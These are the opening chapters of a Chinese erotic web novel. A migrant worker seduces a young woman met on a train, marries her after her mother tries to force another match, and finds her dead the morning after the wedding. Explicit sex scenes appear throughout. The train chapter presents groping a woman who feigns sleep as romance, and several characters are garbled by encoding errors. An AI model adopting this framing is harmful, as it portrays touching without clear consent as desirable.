图片载入中

风月大亨

特大字】 【大字】 【中字】 【小字

《风月大亨》

第一卷第一章旅途艳遇

“新娘子来了!新娘子来了!”

在一群小孩兴高采烈的欢唿声中,四、五辆披红挂鸀的彩车缓缓驶进村里。

汽车无法直接到达家门,还要走几百米的路。汽车停下来后,新郎和新娘相偕走下汽车,在迎亲队伍的陪伴下,径直走了过来。

新郎叫刘黑玉,1米76的个子,穿着白色衬衣,黑色西服,系着一根红色的领带,显得风度翩翩。新娘石燕,虽然长得并不特别漂亮,却十分爱笑,孩子式的脸上,永远挂着灿烂的微笑,样子很甜,给人一种格外清纯的感觉。她穿着枣红色镶边上衣,米色长裙,十分婀娜迷人。

刘黑玉的家是一栋三厢间两层红砖楼房,房子的门窗上贴满了红红的喜联,平添了不少喜庆的气氛。门前的坪里已经聚集了大批宾客,所有的亲友和村里的人们也全都赶来道贺,屋里屋外都显得格外热闹。

看到新娘子已经走近,众人都忙碌起来,霎时间,鞭炮齐鸣,乐队也奏响了欢快的迎宾曲。

大厅里的正上方,两张方桌并排放在一起,上面铺着一块红布,这便是婚礼主席台了。主席台上红烛高照,鲜花竞艳,新郎、新娘在人们的簇拥下走上主席台。

站在婚礼台前,看着身边婀娜多礀的新娘,刘黑玉心里泛起了阵阵涟漪,不由想起了他们那充满戏剧色彩的初遇。

那是在g市开出的火车上。火车还没有开动,车厢里已塞满了人,整个过道都挤得满满的,让人举步维艰。但是,后面还在上人,真不知道哪有这么多人,在起点站就已经挤得动不得了。

刘黑玉暗暗得意,他清早就赶到火车站买票,总算获得了一张座位票,不用像别人那人站在过道里受罪了。排了整整一天的队,也实在有些累了,便舒服地靠在座位上,闭上眼睛养神。

“先生,请将你的脚擡起一下,我要将东西塞到你下面去。”身前响起了非常悦耳动听的声音。

刘黑玉睁眼一看,只见一个姑娘正站在他面前。她虽然长得不是特别漂亮,但身材高挑、苗条,圆圆的脸上挂着甜甜的笑容,一双大大的眼睛又黑又亮,正脉脉地看着他。他心里顿时一乐,连忙逗趣说:“你要将什么东西塞到我下面去?”

旁边的人都笑了起来,充满着猥亵的味道。

“小姐,他要是不愿意,你就塞到我下面来好了。”站在斜对面的一个长发青年嘻皮笑脸地说。“我保证会让你满意的。”

姑娘的脸立即红了,她狠狠地瞪了刘黑玉和那个长发青年一眼,娇声呵斥说:“我只是将这个手提包放到你的座位下去,你们想到哪里去了?”

刘黑玉心里说:“是你自己说得暧昧,反倒怪人家想歪了。”但是,他并没有说出来,他不想让这个姑娘再当着这么多的人难堪,连忙站了起来,伸手去帮助姑娘将手提包放到座位的下面。

姑娘却没有理他,自个将手提包推到了座位的下面。显然,她对刘黑玉的玩笑仍然耿耿于怀。

火车终于开动了。

那姑娘就靠着刘黑玉身边的座位站着,眼睛看着对面的窗外,欣赏着那往后快速退去的景色。刘黑玉也没有再去理她,仍然闭着眼睛休息。

姑娘的身上发出淡淡清香,不断地往刘黑玉的鼻子里钻去,他心里一荡,再也无法静下心来休息。

这是什么香气?刘黑玉虽然对女孩子使用的香水知之不多,但他却隐隐觉得这不是某种香水的香味。香水的香味虽然很好闻,却不像这种清香,既是那样若有若无,又是那样令人心驰神往。

刘黑玉陶醉在这迷人的香气中,他忽然想起了书上的介绍,说动物在交配期到来的时候,体内就会发出一种气味,引诱异性前来交配。莫非这种香气就是这个姑娘体内发出的气味?这样想着,他的体内渐渐起了变化,竟然生起一种想要一亲芳泽的念头。

他立即将靠外面的右手放到身侧,慢慢地移动着,往姑娘那修长的大腿摸去。

姑娘的身体突然移动了一下,吓得刘黑玉连忙将手收了回来。知道这里是什么地方吗?周围有那么多人,若是一旦被人发现,或者姑娘叫嚷起来,不将你当作流氓痛扁一顿才怪。万一他们将自己交给警察,说不定还要被拘留几天呢。

其实,刘黑玉并不是一头大色狼,他虽然跟很多女孩子在一起玩过,也爱插科打诨地说一些黄话,但他还从来没有跟任何一个女孩子真正做过,实实在在的黄花处男一个。他却想不到,自己刚才为何竟会有那样的念头。

姑娘并没有发现刘黑玉的企图,她只是是站得久了,两只脚已有些累,稍稍调整了一下站礀,将身体侧了过来,换成向前的方向,左手靠在座位的靠背上,仍然站在了刘黑玉的身边。

刘黑玉不知道是心里忽然生出怜香惜玉的想法,还是对刚才的举动涌起一种负疚的心理,他连忙站了起来,对姑娘道:“你坐一会吧。”

姑娘愣了一下,连忙笑着说:“你坐吧,我不要紧的。”

对面那个长发青年立即阴阳怪气地说:“这年头真是怪了,只要是长得漂亮的女孩子就会有人献殷勤,怎么没有人给我老人家让坐呢?难道我就长得不帅吗?这位美女,如果你真的不要紧的话,就让给我坐一会好不好?”

“你是长得很帅,可惜你不是女孩子,只能女士优先了。”刘黑玉对长发青年笑了笑,回头对那姑娘说:“先前只是开个玩笑,你可不要在意。你先坐,我要去上一趟洗手间了。”

姑娘听了,也不再推辞,说了一声“谢谢”,在座位上坐了下来。

刘黑玉从洗手间回来,姑娘连忙站了起来,要将座位让给他。刘黑玉拦住了她,说:“你先坐,我站一会。坐久了,腰都有些酸了。”

姑娘感激地瞥了他一眼,又重新在座位上坐了下来,她实在是站累了,两条腿都有些酸麻了。

“你到哪里?”刘黑玉问。

“h县。你呢?”

“太巧了,我也是到h县。听口音我们还是老乡呢,我是大河乡刘家村的,你家住在什么地方?”

“我家住在新东乡双龙村。”

“那相隔不远,只有二、三十里路的样子。”刘黑玉兴奋地说。“你也g市打工吗?为什么在这个时候回去?”

“我是在一家电子厂做事,因为我妈病了,家里打了电话来,所以回去看看。”

“你妈得的是什么病?严重吗?”刘黑玉关切地问道。

“不要紧的,她是老毛病了,到医院去看一下就会好的。我只是借此机会回去休息几天而已。”石燕笑着说。“你在哪里做事?”

“我是搞装修的。”刘黑玉说。“这段时间生意清淡,准备回去住一段时间,等有了事做再下来。”

“搞装修很赚钱吧?”姑娘看着刘黑玉,饶有兴趣地问。“我听说不少搞装修的人都发了。”

“也不怎么样。有事做还好一点,没事做的时候还要家里倒贴钱。”刘黑玉轻轻地摇了摇头。“这年头,靠打工是发不了财的,能够煳口就很不错了。”

两人聊了一阵,关系顿时拉近了许多,姑娘将屁股往里挪了挪,让出小一块地方,对刘黑玉说:“你也坐一点吧。占了你的座位,真是不好意思。”

刘黑玉在她的身边坐了下来。由于地方太窄,只能坐上半只屁股,他不得不将身体往里靠,以保持身体的平衡,这样一来,他的大半个身子都挨在姑娘的身上了。女性身体特有的柔软透过衣服传了过来,他的心里又涌起了一种异样的感觉。

他极力使自己平静下来,扭过头来对姑娘说:“说了这么久,还不知道你叫什么名字呢?”

姑娘笑了笑,回答说:“我叫石燕。”

“很高兴认识你!”刘黑玉说。“我姓刘,名黑玉。你叫我黑玉就行了。”

石燕“噗哧”一声,笑着说:“你这么文皱皱的,就像一个十足的知识分子,怎么会去搞装修呢?”

他先前是那样油腔滑调,现在却这样温文尔雅,她都有些搞不懂他了,不知道到底那种状态才是他的本来面貌。

刘黑玉说:“没办法,为了生存嘛。我读高中的时候,成绩本来是蛮好的,满以为可以考上大学,却以5分之差名落孙山。回到家里,痛哭了一场,就出来跟别人学了装修。”

石燕问:“你为什么不去复读呢?现在有很多人都是通过复读以后才考上的。”

刘黑玉苦笑说:“家里能够供我读完高中,已经是想尽一切办法了,哪里还能去复读呢?而且,现在上大学的费用不菲,我就是能够考上大学,家里也没有能力让我去读的。”

石燕听了,不禁暗暗为他惋惜。这些年来,农村的孩子上不起学的事比比皆是,早已成为普遍现象,再也不是什么新鲜事儿了。

不过,他比自己还是要好一点,他还念完了高中,自己却初中一毕业就出来打工了,现在虽然只有十九岁,已经有了三年打工的历史了。在农村,女孩子只要能认识几个字就行了,家里一般都不会将钱投资到她们身上去的。

“电子厂做事辛苦吗?工资高不高?”刘黑玉问。

石燕说:“在电子厂做事,我们都快变成机器人了,每天都机械地做着同一件事,一坐就是四、五个小时,一天要工作十个小时以上,下了班,有时连澡都不想洗了,只想尽快地倒到床上睡觉。就算如此,一个月也很难挣到一千元钱。”

“加班没有加班费吗?”

“加一个小时班两元钱,这已经是很记的了,却还不够吃一餐饭。”石燕愤愤地说。“由于长时间的机械劳动,稍不注意就会出错。如果出了错,一个月也就白干了。”

两人渐渐谈得投机起来,大有相见恨晚之意。

快乐的时光总是过得特别快,两人说着话,不知不觉已到了深夜,周围的人们都开始昏昏欲睡了,还有一些人早就进入了梦乡。

“夜深了,你也睡会吧。”刘黑玉看到石燕脸上布满了倦容,不由伸手搂住她的肩膀,让她的头靠到了他的胸前。

石燕脸上微微一红,却也没有反对。

距离一近,石燕身上散发出来的那种淡淡的清香又飘进了他的鼻孔。这种清香虽然轻如浮云,细若游丝,刘黑玉却不禁心神一荡,稍稍俯下脑袋,贪婪地吸了一口,顿觉甜沁心脾。

渐渐地,他的心里升起阵阵冲动,搂住石燕香肩的左手也慢慢地滑了下去,揽在她纤细的腰上,一种软绵绵的感觉透过衣服传到了他的手上,他不禁有些意乱心迷了。

那种美妙的触感,给了刘黑玉前所未有的享受,他的手上稍稍用了用劲。石燕的娇躯微微一颤,仍然闭着眼睛,假装已经睡着了。

其实,石燕靠在刘黑玉的胸脯上,闻着他那雄浑的男人气息,心里不禁有一种飘飘然的感觉。她突然涌起一种奇怪的念头,今天晚上可能会有些事儿发生,她既感到害怕,又充满了好奇和渴望,这种复杂的心理令她有些不知所措了。

哪个少男不多情?哪个少女不怀春?石燕也不禁春心荡漾起来。她虽然对刘黑玉还不怎么了解,却朦胧地感到,他心思细腻,善解人意,正是自己要找的那种情人的类型,与他交朋友,应该是不会错的。

刘黑玉见石燕并没有反对,胆子顿时大了起来,他极力压住自己怦怦的心跳,慢慢地将手伸进她的衣服,放到她那柔软的肌肤上。

石燕又颤了一下,一只手不由自主地擡了起来,隔着衣服按在刘黑玉那只不安份的手上。她似乎想制止刘黑玉的进一步行动,但力量却不大,也没有将他的手推开。

刘黑玉向四周看了一遍,见周围的人并没有注意到他的偷香窃玉行动,放在衣服里的手又继续往上移动,落到了石燕的乳房上。

石燕不好意思再当众去舀开他的手,只是唿吸渐渐重了起来,酥胸起伏,娇小的身躯紧紧靠到刘黑玉的身上,就像受惊的鸟儿一样轻轻地颤抖着。

刘黑玉隔着胸罩在她的乳房上抓捏起来,静静地感受着那种既柔软又坚挺的快感。

石燕仍然紧紧闭着眼睛,她没有出声,也没有动弹,甚至连大气都不敢喘一下,她的心弦却被拨弄得抖动起来,玉乳在刘黑玉的魔掌下颤动不已。

刘黑玉已不满足于这种隔靴骚痒的抓捏,他将石燕的胸罩往上一推,两只乳房立即颤悠悠地弹了出来。石燕娇喘一声,连忙将娇躯埋进了刘黑玉的怀里,将她那柔软而又极富弹性的纤巧胸乳紧紧地贴在他的胸脯上。

在众目睽睽之下,她这种举动很容易给人造成轻浮的感觉,两人认识的时间还不久,怎么可以如此亲热呢?但是,石燕也是逼于无奈,她总不能让别人看到她的乳房已经从乳罩里崩了出来吧。尽管她还穿着一件衬衫,但是,那薄薄的衬衫却已无法掩住胸前的春光。

刘黑玉尽情地享受着胸前那美妙的触觉,早知男女之间接触的感觉是如此的迷人,自己也不用虚度这二十二年的光阴了。

他微微移动了一下身体,让石燕可以更加舒服地伏在他的胸前,右手揽住她的肩背,左手从两人身体接触的部位伸了进去,再次握住了她的椒乳,轻摁慢捻起来。

丰润腻滑的胸乳就好似粉搓脂揉一般,石燕的骨架中然纤细,但两只乳房却不小,就像刚刚出笼的包子一样,摸上去软绵绵的,用力一捏,立即深深地陷了进去,手指一松,又立即膨胀起来,令人销魂不已。

石燕还从未让任何一个男人碰到她这个部位,如何禁得起刘黑玉的尽情撩拨?强烈的刺激和快感几乎要将她的芳心淹没,她的脑子里也是一片空白,所有的思维在刹那间消失,双手无力地滑到刘黑玉的腰间,轻轻的揽住他有力的熊腰,一颗心飘飘忽忽,早已飞到九天云外去了。

刘黑玉的唿吸也沉重起来,脸上的肌肉抽搐了一下,身体也微微颤抖起来,一股热流从小腹下面升起,迅速流遍了全身,他已置身于熊熊欲火之中了。

可是,这里毕竟是在火车上,旁边还有不少的乘客,不然的话,他恐怕已经霸王硬上弓了。

“哼!”

斜对面的那个长发青年重重地哼了一下,他显然是极不满意他们两人的亲热,声音里含着很重的醋意。

刘黑玉暗暗一惊,终于将手恋恋不舍地从她的胸脯上收了回来。他当然不是在乎那个青年的醋意,他知道,如果继续抚摸下去的话,两人都会受不了,恐怕会做出当场出丑的事来。他伸手搂住她的娇躯,让体内的欲火在身体的厮磨中渐渐消褪。

良久,两人终于渐渐平静下来,石燕从刘黑玉的怀里挣了出来,不禁幽幽地瞪了他一眼,脸上仍然洋溢着抹不开的浓浓春情。

刘黑玉不由看得呆了。

在农村,几乎所有结婚仪式都是千篇一律的,新郎、新娘向祖先神位行礼,拜见父母、长辈和宾客,然后是主婚人、证婚人、介绍人、主亲及来宾代表说话,勉励一对新人夫妻恩爱,早生贵子,白头偕老。最后,在一对童男童女的前导下,相偕进入洞房。

第一卷第二章生米熟饭

红烛高照,喜筵宏开,满堂花醉三千客。大厅的两边摆了十多张方桌,众宾客纷纷就坐,酒菜流水般地送了上来。新郎、新娘相偕挨桌敬酒,散发喜糖。

深夜,闹洞房的人们终于散去。刘黑玉回过头来,静静地看着石燕,心里充满了幸福的喜悦。

石燕赧颜一笑,将娇躯靠到刘黑玉的怀里,轻声说:“你这样看着我干什么?难道你一点都不累吗?”

刘黑玉轻轻地揽住她的细腰,由衷地说:“石燕,我一想到能够娶上你,就感到格外开心,一点也不觉得累。”

听到他的绵绵情话,石燕也眉开眼笑起来,她紧紧地抱住刘黑玉的腰,娇声说:“能够嫁给你,我心里也格外高兴。但愿你能够一直对我好,我也就无憾了。”

刘黑玉哪里知道,为了嫁给他,石燕可谓是煞费苦心。

那一天,天亮的时候,火车终于在h县的小站缓缓停了下来,刘黑玉和石燕一起下了火车,走出车站。

车站前面的街道上虽然冷冷清清,看不到几个行人,两边的店铺却已经全部开业了,绝大多数都是做早餐的,热气腾腾的早餐店里飘出阵阵诱人的食物香味。

“坐了一晚的车,肚子已经空空如也了,我们一起去吃点东西吧。”刘黑玉对石燕说。

“不用了!”石燕说。“口也没漱,脸也没洗,怎么好去吃东西呢?”

她仍在想着车上的事情。像他这样文质彬彬的人,怎么会做出哪种事呢?她也想不通,自己保存了十九年的东西怎么就这样轻易地献给了他呢?

不过,那种感觉的确令人心醉,使她一直到现在还无法完全平静下来。

“出门在外的人,哪能顾得了这么许多呢?我们还要坐两个小时的汽车,回到家里已是中午了,不填饱肚子怎么行呢?”刘黑玉不由分说,硬是拉着石燕走进了车站旁边的一家早餐店。

“你想吃点什么?”两人找了一个座位坐下,刘黑玉看着石燕,温柔地征求她的意见。

“就来一碗稀饭,两只盐菜包子吧。”石燕轻声道。“大清早的,我不大习惯吃油腻的东西。”

刘黑玉立即去将石燕要的早餐舀了过来,又给自己要了一碗汤面,津津有味地吃了起来。能够认识石燕,又与她共进早餐,他的心情十分愉快,就连胃口也跟着好极了。

吃过早餐,来到汽车站,他们分手的时候也到了。他们两家虽然只相隔二十多里,却是两条不同的路线。刘黑玉心里顿时怅然若失,他脉脉地看着石燕,真不愿意就此离去。

“你这次回来,准备在家里呆多长时间?”刘黑玉满怀期望地看着石燕。如果她在家的时间比较长,自己就可以去看她。

石燕说:“我只有五天假,在家里最多只能住四天。你来g市,一定要记着来找我们呀。”她慢慢往汽车走去,不时回头看着刘黑玉,眼里充满了依恋不舍的神情。

刘黑玉突然大步走上前去,坚毅说:“我送你回家!”

石燕脸上露出惊喜的神色,她什么也没说,欢快地与他一起登上了回家的汽车。

刘黑玉怎么也没有想到,正是由于他的突然决定,成就了他与石燕的姻缘。

走进石燕的家,已经是中午时分了。石燕惊讶地发现,母亲根本就没有病,正在屋里欢快地忙碌着。

“妈,你不是病了吗?”石燕不满地说。

“傻女儿,你一回来,妈的病不就全好了吗?”石燕的母亲“呵呵”笑着,她的目光落到刘黑玉的身上。“这位是谁?”

石燕的眼里立即放出光来,兴奋地介绍说:“他叫刘黑玉,是我的朋友。”

石燕的母亲一怔,连忙将石燕拉进房里,低声问道:“你的朋友?是什么朋友?”

“当然是男朋友了。”石燕幸福地说。她与刘黑玉虽然没有明确恋爱关系,但是,两人心里都很明白,他们是谁也离不开谁了。

“不行!”石燕的母亲脸色一沈,冷冷地说。“我直接告诉你好了,妈这次要你回来,就是打算让你去相亲的。隔壁黄泥村范重的名字你听说过吧,他这几年在外面做生意赚了大钱,已经成为我们这一带的首富了。他派人来跟妈说了,想娶你给他的大儿子做媳妇,答应付五万元聘礼。你想想,五万元是多少钱,可以盖一栋新楼了。所以,妈就帮你答应了,等你一回来,立即就去相亲。”

“妈,你就以五万元将女儿卖了?”石燕立即叫了起来。“现在都是什么年代了,你怎么还想着要包办婚姻呢?”

“你这是什么话?”母亲狠狠地瞪了她一眼。“男大当婚,女大当嫁,妈也是为了你好呀。范家的条件那么好,你嫁过去就享福,这样的好事,就是打着灯笼也难找的。听妈的没错,妈怎么会害自己的女儿呢?”

“对不起,妈!我不能答应你的要求。”石燕一本正经地说。“我已经有男朋友了。”

“你说的就是外面那个人吗?”母亲的脸上露出鄙夷的神情。“妈一看他的样子,就知道他是一个穷小子,他怎么能够跟范家比呢?”

“妈,你不会是一个嫌贫爱富的人吧?”石燕仍不死心地说。

“你说对了,妈正是一个嫌贫爱富的人。”母亲冷冷地说。“如果说每个人都嫌富爱贫,我们何必要发家致富呢?这事就这么定了,妈已经收了他家两万元钱定金,是绝对不能反悔的。”

石燕两眼红红地从房里出来,刘黑玉立即迎了上去,关切地看着她。“你怎么哭了?”

“没什么。”石燕淡淡地说。“我看到妈妈的病已经完全好了,心里高兴而已。”

吃过中饭,石燕送刘黑玉回去。走不多远,她突然拉着刘黑玉进入了路边的树林,迅速扑了上去,搂住他的脖子,将火热的嘴唇凑了上去。

两人笨拙地吻着,却十分狂热。石燕将香舌伸进了刘黑玉的嘴里,在他的舌头上尽情撩拨起来。刘黑玉的全身迅速变得滚烫起来,一只手开始不安份地伸进了她的衣服,攀上了她胸前的山峰。

“唔!”

石燕嘴里娇哼了一声,双唇恋恋不舍地离开了刘黑玉的厚唇,柔美的娇躯一阵激颤,那柔软丰满的乳房又弹进了刘黑玉的手掌。

刘黑玉轻轻地抚摸了一阵,突然撩起了她的衣襟,无限春光立即展现在眼前。他欢唿一声,连忙俯下身去,张嘴含住了那颤悠悠的乳房,用力地吮吸起来。

石燕俏脸滚烫,就连耳根都红得像三月的流火,娇嫩的胸乳在刘黑玉的吮吸下发出轻微的震颤,她双手紧紧抓着刘黑玉的头发,美目里露出意乱情迷的神色,嘴里也流泻出声声娇喘。

刘黑玉就像小孩吸奶似的,在石燕那凝脂白玉般的酥胸嫩乳上饱吸了一顿,终于心满意足地擡起头来,尽情地欣赏着那迷人的玉乳。

明媚的阳光照射在赤裸裸的酥胸上,石燕感到暖洋洋的,虽然没有被刘黑玉吮吸、抚摸时的那种剧烈冲动,但她的心里已经撩起了熊熊欲火,就连空气中也能感受到那种浓浓的春意。

刘黑玉迅速脱下自己身上的衣服,铺在林间的空地上,抱起石燕的娇躯轻轻放了上去,动作笨拙地将她身上的衣服脱了下来。

丰润雪白的胴体终于完全展露在他的眼前,他伸出双手,轻轻地摸了上去,那种感觉既新鲜又刺激,心里的欲念再也无法控制了。

在刘黑玉的轻轻抚摸下,石燕只觉得心里涌起了阵阵浪涛,不停地冲击着她的身心,她很快又娇喘吁吁起来,嘴里吐气如兰,娇躯也像条蛇似的在地上不住的扭动,她已渐渐迷失在阵阵野性的狂涛中,紧紧地闭上了眼睛。

两具赤裸裸的身体终于纠缠在一起。由于他们都是第一次,刘黑玉屡屡叩关都没有成功。他心里不由暗暗着急,要是这事都做不成,岂不是贻笑天下?他不停地往石燕的下面刺去。

事情往往就是这样,你越急,就越难以成功,刘黑玉接连刺了十多下,却次次戮在石燕那娇嫩的洞外,石燕已痛得呲牙裂嘴了。

她不得不伸出小手捉住他的火热之物,握在手里,感觉又粗又长,不由暗暗吃了一惊,自己窄小的下体能容纳这么粗大的东西吗?

她狠狠地咬了咬牙,引导刘黑玉进入桃源玉洞。刘黑玉不知深浅,感到前端已经进入洞内,心里一喜,突然用力一插,顿时全根没入。

“啊——”

石燕惨叫一声,两眼上翻,差点闭过气去。刘黑玉一看,只见她脸色惨白,额上渗出了密密的汗珠,显然是痛苦到了极点。

刘黑玉心里暗暗一惊,这种事不是十分愉悦的吗?她为何痛苦到这种程度?是不是自己的东西太长大了,她根本接受不了?

他曾偷偷地看过其他男人的物件,知道自己的器具比一般的男人要长大得多,如果真是这样,那该怎么办呢?他伏在石燕的身上,进也不是,退也不是,顿时愣住了。

良久,石燕终于缓过气来,娇嗔地瞪了刘黑玉一眼。“你怎么用那么大的力?难道不知道我是第一次吗?”

刘黑玉顿时恍然大悟,他刚才一时激动,竟将这一切都忘到九霄云外去了。他歉意地笑了笑,柔声说:“对不起!我不该这么粗鲁的。”

他看到石燕没事,一颗悬着心终于放了下来,连忙温柔地动了起来。

激情过后,两人都静静地躺在地上,刘黑玉轻轻地吻了石燕一下,爱怜地说:“对不起,我不该这么做的。”

石燕看了他一眼,淡淡地说:“没什么,这是我自愿的。”

刘黑玉哪里知道石燕的一片苦心。原来,她是看到妈妈执意要将她嫁进范家,明白自己无法改变妈妈的想法,于是便想到了这破釜沈舟之计,让生米煮成熟饭,就算不能改变命运,也将自己的第一次献给了心爱的人。

石燕从地上爬了起来,慢慢穿上衣服,对刘黑玉说:“天色已不早了,你还要走二十多里,再不走就要摸夜路了。我也不送你了,将来不管发生什么事情,都请你一定记住今天下午,记住这片树林!”

刘黑玉拍着胸脯说:“你放心!回去后,我立即就请人前来做媒,无论如何,我也要娶你做我的妻子。”

石燕心里暗暗叹息一声:要想让妈妈同意这门亲事恐怕不是那么简单的事。但是,她仍然强作欢喜地点了点头。

果然,第二天一早,石燕的妈妈就将媒人找来,带她到范家去相亲。石燕不敢违拗,只好跟着妈妈和媒人一起去了。

范家显然早有准备,一家人都热情地迎了上来,他们看到石燕的容貌虽然不是格外漂亮,却也长得身材苗条,婀娜动人,心里都暗暗同意了。

范重的妻子拉着石燕的手问这问那,弄得石燕脸色红红的,心里很不好意思,终于寻了一个机会走了出来。

在屋外,范重的大儿子范文举连忙跟了上来,走到她的身边,亲昵地说:“石燕,你在g市打工吗?那里好玩不?”

石燕说:“g市是大都市,当然好玩啊。”心里鄙夷地暗想:“开口就问好玩不,一看就知道是一个花花公子。”

其实,范文举也算得上是一个帅哥,他虽然没有刘黑玉那么高,应该也超过了1米7,长相却比刘黑玉还要英俊得多。论条件,他肯定可以超过刘黑玉。如果没有火车上的艳遇,她或许会看在妈妈的面子上接受他的。可是,一切都晚了,就像一首歌所唱的那样,范文举已经“迟到”了。

范文举却不知道石燕心里的想法,依然兴奋地说:“我早就打算到g市去一次了,你给我当向导好不好?”

石燕淡淡地说:“对不起,我要上班,恐怕没有时间陪你的。”

范文举说:“你还去上什么班呢?不如回来跟我们一起做生意。我们店里正需要你这样的人站店子,这事我跟爸爸说一声就行了。”

看他那盛气凌人的样子,石燕心里不由暗暗有气,我还没有决定要嫁给你呢,你就开始气使颐指了?她微微笑了笑。“我在厂里做得好好的,为什么要回来跟你们一起做生意呢?”

范文举说:“你迟早是我们家的人,当然应该回来跟我们一起做生意呀。”

石燕立即笑得花枝乱颤,想不到这小子长得这么好看,脸皮却比砖头还厚,我会成为你们家的人?做你的清秋大梦去吧。

“你笑什么?”范文举讶异地看着石燕。

她笑起来的样子真是好看极了,笑容之中放射出一股令人心荡神怡的媚态。

女人的笑是迷人的,美人的笑更是使英雄气短,人君倾国。范文举是一个血气方刚的青年,他如何能够抵御石燕那动人的诱惑呢?他突然走了上去,伸手抱住石燕,伸嘴往她的唇上吻去。

“你要干什么?”石燕娇叱一声,极力地进行挣扎,想要将他推开。

眼看就要到嘴的美食怎么能够轻易放过呢?就是自己店里请的女营业员都不会反对他,而她反正会要成为自己的妻子,怎么能够错过呢?这样想着,范文举胆气一壮,毫不犹豫将自己的嘴巴紧紧地压在石燕的嘴唇上。

石燕极力反抗着,试图挣脱他的魔掌,但是,他的力气比她大得多了,她根本无法撼动分毫。她心里一急,突然张开嘴巴,狠狠地咬住他的嘴唇。

“啊!”

范文举就像杀猪似地惨叫起来。屋里的人听了,连忙赶了出来,惊讶地问道:“发生了什么事?”

石燕立即双面掩脸,扑到妈妈的怀里痛哭起来,哽咽地说:“妈,我就是死也不愿意嫁给这个流氓。我们回家!”

范重的妻子连忙走到范文举的身边,见他的嘴唇鲜血淋漓,不由心痛地说:“怎么咬得这么重呀?快跟妈进屋,让妈给你上药。”

范文举狠狠地瞪了石燕一眼,恨恨地说:“你这个婊子,竟敢咬我?我一定不会放过你的。”

“住嘴!”范重厉喝一声,狠狠地瞪了妻子一眼,“还不带他进去?在这里丢人现眼。”

他走到石燕的母亲面前,淡淡地说:“对不起!都怪我管教无方,出了这个逆子。我向你们母女赔礼道歉,请你们不要见责。俗语说,‘买卖不成仁义在。’如果石燕姑娘执意不肯嫁给我家举儿,我们也不好勉强,还请你将定金退回给我,我们就当什么也没有发生过。”

石燕猛地擡起头来,冷冷地说:“我原本就没有想要你家的钱,我们可以将钱如数退给你。不过,你们可以当什么事也没有发生,但我不能。第一,你的儿子的的确确侵犯了我;第二,他刚才还在威胁我,我不会就么了结的。”

范重冷冷地说:“我刚才已经向你道过歉了,你又没有造成什么损失,你还想怎么样?”

石燕说:“我只是想要保护自己的权利,该怎么办,恐怕是警察说了算。”

“你想威胁我?”

石燕淡淡地说:“范老板,我想你应该找个律师咨询一下,问一问强奸未遂是否构成犯罪。”

范重顿时大吃一惊,不由怔立当场。石燕并不理他。拉着妈妈的手,转身往外走去。

第一卷第三章洞房香殒

“你的肌肤真是太美了!”躺在柔软舒适的床上,刘黑玉抱着石燕的娇躯,爱不释手地抚摸着她那光滑幼嫩的肌肤,由衷地感叹说。“当初第一次见到你的时候,我就被你身上散发出来的淡淡清香彻底迷住了。”

“你这头大色狼!”石燕大发娇嗔。“竟然在火车上做出那种行为来,害得我差点当众出丑。我真是恨死你了。”

刘黑玉笑着说:“你当时不也感到十分陶醉吗?若非如此,我又怎么能够赢得你这位美人的心?”

刘黑玉的手在石燕那犹如羊脂白玉的肌肤上抚摸着,一张大嘴温柔地吻着她修美的粉项和晶莹的小耳朵,还不时放肆地啜着她浑圆娇嫩的耳珠。

石燕已完全融化在他的激情挑逗中,檀口里不住发出令人神摇魄荡、销魂蚀骨的娇吟,美丽的胴体也向他靠了过去,在他的身上轻轻磨擦着。

刘黑玉的手上加紧了抚摸,大嘴也印上她的香唇。他无处不到的爱抚,将石燕刺激得娇躯抖颤,血液奔腾,她再忍不住了,两条玉臂立即缠上他的脖子,狂热地反应着。两人都融入浑然忘忧,神魂颠倒,无比热烈的缠绵中。

两人都全身发烫,体内的情欲已熊熊燃烧起来。刘黑玉立即擡起身体,将石燕身上的衣服一件件脱了下来。

在高燃的红烛映照中,石燕那羊脂白玉般的美丽肉体很快展露在刘黑玉的眼前。刘黑玉虽然不是第一次看到她的身体,嘴里仍然止不住发出轻轻的赞叹声。

石燕无力地睁开满溢春情的秀眸,风情万种地白了他一眼,见他眼里射出饿狼似的贪婪的光,不由脸色一红,再次闭上了眼睛,一颗芳心也怦怦地跳了起来。

刘黑玉站了起来,一边欣赏着石燕那肉体横陈的美丽胴体,一边迅速脱去自己的衣服,毫无间阂压上她的身体。一时间,芙蓉帐暖,被浪翻滚,新房里流泻出一股靡靡的声音。

激情之后,两人相拥而卧,他们都获得了极大的欢乐和满足。

第二天早晨,太阳已经晒到床边了,刘黑玉和石燕两人还赖在床上。昨天,他们也实在太辛苦了,晚上又缠绵了一阵,直到此刻他们仍然睡得很香。

一阵敲门声响起,刘黑玉一震,连忙睁开了眼睛,对着门外叫道:“是谁?”

“黑玉,天都这么晚了,你们还不起来?”是母亲略带责备的声音。“客人都准备走了,你们快点起来送客。”

刘黑玉听了,心里也暗暗一惊,他立即答应一声,连忙从床上爬了起来,迅速穿上衣服,又伸手去推石燕。“燕子,该起床了。”

石燕仍然静静地躺着,并没有醒来。

刘黑玉看着她那迷人的裸体,心里不由一荡,伸手抓住她的双乳,尽情地玩弄起来。

玩了一阵,石燕仍然一点反应也没有,刘黑玉顿时感到有些不对,立即将她拉了起来。但是,他的手一松,她又重重地跌了下去。

刘黑玉吓了一跳,连忙凑了上去仔细察看,发现她早已没了唿吸,顿时惊得魂飞魄散,立即发出一声撕心裂肺的惨叫,跌跌撞撞地冲了出去。

“发生什么事了?”听到刘黑玉的叫声,立即有好几个人赶了过来,惊讶地看着失魂落魄的刘黑玉。

“石燕她,她,她——”刘黑玉张口结舌,连话都说不出来了。

人们都涌进了新房,介绍人田三婶走到床边,掀起被子一看,见石燕身无寸缕,连忙将被子盖了上去,伸手到她的鼻子下面探了探,发现她早就没有气出了,她面色苍白地退了回来。“她,她,她死了!”

听说新娘子突然死了,屋子里的人全都大吃一惊,一齐盯着痛哭流涕的刘黑玉。

“我也不知道是怎么回事。”刘黑玉哭丧着脸说。“昨天晚上,她还好好的,今天早晨一醒来,她就是这个样子,我还以为她睡着了,谁知道她——她——”

人们听了,全都面面相觑。

送亲的上亲骤闻这个噩耗,也全都赶到了新房,抚尸痛哭起来。

喜事变丧事,刘黑玉家的喜庆气氛顿时荡然无存,代之而来的是一片深深的悲哀。

新娘突然死亡的消息迅速传了开去,村里的人们全都涌进了刘家,他们看到这种情况,不由暗暗惊讶不已,这可是从来没有遇到过的情况呀。

没有人能够解释为什么会出现这种情况,石燕娘家的人又哭闹不已,一定要刘家给个说法,村支书逼于无奈,只好打电话到派出所,请警察来解决这个问题。

